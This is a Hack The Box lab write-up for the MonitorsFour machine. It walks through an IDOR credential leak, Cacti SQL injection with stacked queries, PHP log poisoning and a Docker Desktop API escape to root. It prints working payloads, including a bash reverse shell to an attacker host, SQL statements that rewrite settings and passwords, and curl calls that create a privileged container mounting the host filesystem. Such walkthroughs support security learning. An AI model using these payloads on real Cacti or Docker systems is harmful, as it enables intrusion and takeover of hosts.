MonitorsFour

date: difficulty: Easy os: Windows read: ~4 min
// tl;dr

IDOR credential leak, Cacti SQL injection to stacked-query log poisoning RCE, and Docker Desktop API escape to root.

contents
MonitorsFour pwned certificate

MonitorsFour — HTB Writeup#

Machine Summary#

PropertyValue
NameMonitorsFour
IP10.129.7.205
OSWindows 11 / Server 2025 (WSL2 + Docker Desktop)
DifficultyEasy
Key TopicsIDOR, Cacti SQLi, Log Poisoning RCE, Docker Desktop API Escape

Overview#

MonitorsFour was a Windows host running Docker Desktop with WSL2. Two Docker containers served a custom PHP web application and Cacti 1.2.28 behind nginx. An IDOR vulnerability in the main app leaked user credentials. After cracking an MD5 hash, Cacti was accessed as a low-privilege user. A boolean-based SQL injection (CVE-2024-54146) in Cacti’s host_templates.php was leveraged with stacked queries to change the Cacti log file path to a .php extension, then PHP code was injected via SQL error log messages to achieve RCE as www-data. From inside the container, the Docker Desktop Engine API was found accessible without authentication on the internal subnet (CVE-2025-9074). A privileged container was created to mount the host filesystem and read the root flag from C:\Users\Administrator\Desktop\root.txt.

Reconnaissance#

An nmap scan revealed two open TCP ports:

PORT     STATE SERVICE VERSION80/tcp   open  http    nginx5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Port 80 served a PHP application titled “MonitorsFour - Networking Solutions” which redirected to monitorsfour.htb. Port 5985 was WinRM. No UDP services were found.

Technology fingerprinting with whatweb identified PHP 8.3.27 on nginx with Bootstrap and jQuery.

Enumeration#

Subdomain Discovery#

Virtual host fuzzing with ffuf discovered cacti.monitorsfour.htb, which served Cacti 1.2.28 at /cacti/.

ffuf -u http://10.129.7.205 -H "Host: FUZZ.monitorsfour.htb" \  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 138# Result: cacti [Status: 302]

IDOR — Credential Leak#

The main application exposed an IDOR at /user?token=0 which returned all user records including MD5 password hashes:

GET http://monitorsfour.htb/user?token=0
[  {"id":2,"username":"admin","password":"56b32eb43e6f15395f6c46c1c9e1cd36","name":"Marcus Higgins"},  {"id":5,"username":"mwatson","password":"69196959c16b26ef00b77d82cf6eb169"},  {"id":6,"username":"janderson","password":"2a22dcf99190c322d974c8df5ba3256b"},  {"id":7,"username":"dthompson","password":"8d4a7e7fd08555133e056d9aacb1e519"}]

The admin hash 56b32eb43e6f15395f6c46c1c9e1cd36 cracked to wonderful1 via john with rockyou.txt. The admin account belonged to “Marcus Higgins”. Logging into Cacti as marcus:wonderful1 succeeded.

Exploitation — User Flag#

SQL Injection in Cacti (CVE-2024-54146)#

Cacti 1.2.28 was vulnerable to boolean-based blind SQL injection in host_templates.php via the graph_template parameter:

GET /cacti/host_templates.php?graph_template=1) AND SLEEP(3) AND (1=1

This confirmed time-based injection (6.11s response). Boolean-based extraction was used to dump the Cacti user_auth table via sqlmap:

sqlmap -u "http://cacti.monitorsfour.htb/cacti/host_templates.php?graph_template=1" \  --cookie="Cacti=<session>" --dbms=mysql -p graph_template \  --technique=B -D cacti -T user_auth -C username,password --dump --batch

Stacked Queries — Cacti Admin Escalation#

Crucially, the injection point supported stacked queries through MariaDB 11.4. One of the two internal SQL execution paths (db_fetch_assoc) accepted multi-statement queries. This was used to change the Cacti admin password:

graph_template=1);UPDATE user_auth SET password='$2y$10$...' WHERE username='admin';--

Log Poisoning to RCE#

With admin access to Cacti Settings, the attack proceeded:

  1. Changed the Cacti log path to a .php file via stacked SQL:

    UPDATE settings SET value='/var/www/html/cacti/log/evil.php' WHERE name='path_cactilog';
  2. Injected PHP code via a SQL error that was logged to the new .php log file:

    graph_template=1);<?php system("id"); ?>;--

    The CMDPHP error log entry preserved the PHP tags, and when evil.php was accessed via HTTP, PHP executed the embedded code.

  3. Triggered a reverse shell using the same technique with a bash reverse shell:

    graph_template=1);<?php system("bash -c 'bash -i >& /dev/tcp/LHOST/4444 0>&1'"); ?>;--

This yielded a shell as www-data inside the Docker container.

User Flag#

The user flag was at /home/marcus/user.txt inside the container:

www-data@821fbd6a43fa:~$ cat /home/marcus/user.txt4bc6c3afdce606c78804286f81f4f855

Container Enumeration#

Key findings from inside the container:

  • Kernel: 6.6.87.2-microsoft-standard-WSL2 — Docker Desktop on Windows with WSL2
  • Database credentials found in /var/www/html/cacti/include/config.php:
    • cactidbuser:7pyrf6ly8qx4 (Cacti DB)
  • Database credentials found in /var/www/app/.env:
    • monitorsdbuser:f37p2j8f4t0r (Main app DB)
  • Container IP: 172.18.0.2/16, gateway 172.18.0.1

Privilege Escalation — Root Flag#

Docker Desktop API Escape (CVE-2025-9074)#

Research identified CVE-2025-9074: Docker Desktop exposes the Docker Engine API on the internal subnet (192.168.65.7:2375) without authentication, accessible from any locally running Linux container.

From within the container:

curl -s http://192.168.65.7:2375/version# {"Platform":{"Name":"Docker Engine - Community"},"Version":"28.3.2",...}

A privileged container was created that mounted the WSL2 host filesystem:

curl -s -X POST http://192.168.65.7:2375/containers/create \  -H 'Content-Type: application/json' \  -d '{"Image":"alpine:latest","Cmd":["cat","/host/mnt/host/c/Users/Administrator/Desktop/root.txt"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'

After starting the container and reading its logs:

curl -s -X POST http://192.168.65.7:2375/containers/<id>/startcurl -s 'http://192.168.65.7:2375/containers/<id>/logs?stdout=true'

The Windows filesystem was accessible at /host/mnt/host/c/, and the root flag was at:

C:\Users\Administrator\Desktop\root.txt3219da34471f01181361e27f59860a0a

Root Flag: 3219da34471f01181361e27f59860a0a

Obstacles & Lessons Learned#

  • CVE-2025-24367 (Cacti rrdtool injection) was the official HTB PoC but proved unreliable — the rrdtool pipe in Cacti’s PHP-FPM worker broke after the first injection, preventing repeated file creation. The log poisoning approach via stacked SQL queries was a more reliable alternative.
  • WinRM credentials were never valid from the attacker machine despite marcus:wonderful1 being a valid Cacti login. The root path was through Docker API escape, not WinRM.
  • Stacked queries in MariaDB worked through one of two SQL execution paths in Cacti’s PHP code (db_fetch_assoc accepted multi-query while db_fetch_cell did not). Both paths logged errors, but only db_fetch_assoc actually executed the stacked statements.
  • Docker Desktop CVE-2025-9074 was the key escalation — the Docker Engine API at 192.168.65.7:2375 was accessible without authentication from any container on the Docker internal subnet.

Tools Used#

ToolPurpose
nmapPort scanning and service enumeration
ffufVirtual host / subdomain fuzzing
whatwebTechnology fingerprinting
curlHTTP requests, API interaction
sqlmapSQL injection confirmation and data extraction
python3 (requests)Custom exploit scripts, boolean SQLi extraction
johnMD5 hash cracking
nc (netcat)Reverse shell listener
netexecWinRM credential testing
Docker API (curl)Privileged container creation for Docker escape